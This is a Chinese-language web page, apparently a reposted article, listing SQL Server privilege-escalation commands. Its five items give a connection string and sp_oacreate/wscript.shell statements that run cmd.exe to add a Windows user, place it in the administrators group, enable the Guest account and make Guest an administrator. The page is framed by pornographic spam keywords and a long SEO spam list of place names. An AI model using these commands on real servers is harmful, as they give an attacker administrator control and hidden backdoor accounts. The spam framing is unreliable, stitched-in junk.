国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > SQL Server > 正文

SQL 提權 常用命令

2024-08-31 00:59:32
字體:
來源:轉載
供稿:網友
1、連接數據庫
driver={SQL Server};server=服務器IP;uid=用戶名;pwd=密碼;database=數據庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup Administrators Guest /add'
關于防范方法,可以參考武林網服務器安全設置欄目。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 崇文区| 曲周县| 永寿县| 山丹县| 呈贡县| 洪江市| 孟村| 贵溪市| 久治县| 南昌县| 崇文区| 丰原市| 江华| 安塞县| 温州市| 土默特右旗| 大竹县| 青神县| 汕尾市| 莆田市| 宣化县| 巫山县| 阜阳市| 曲水县| 景东| 太湖县| 招远市| 龙海市| 宣城市| 洞头县| 湖州市| 许昌市| 延长县| 循化| 康马县| 沙坪坝区| 开平市| 克拉玛依市| 昭觉县| 吉首市| 安庆市|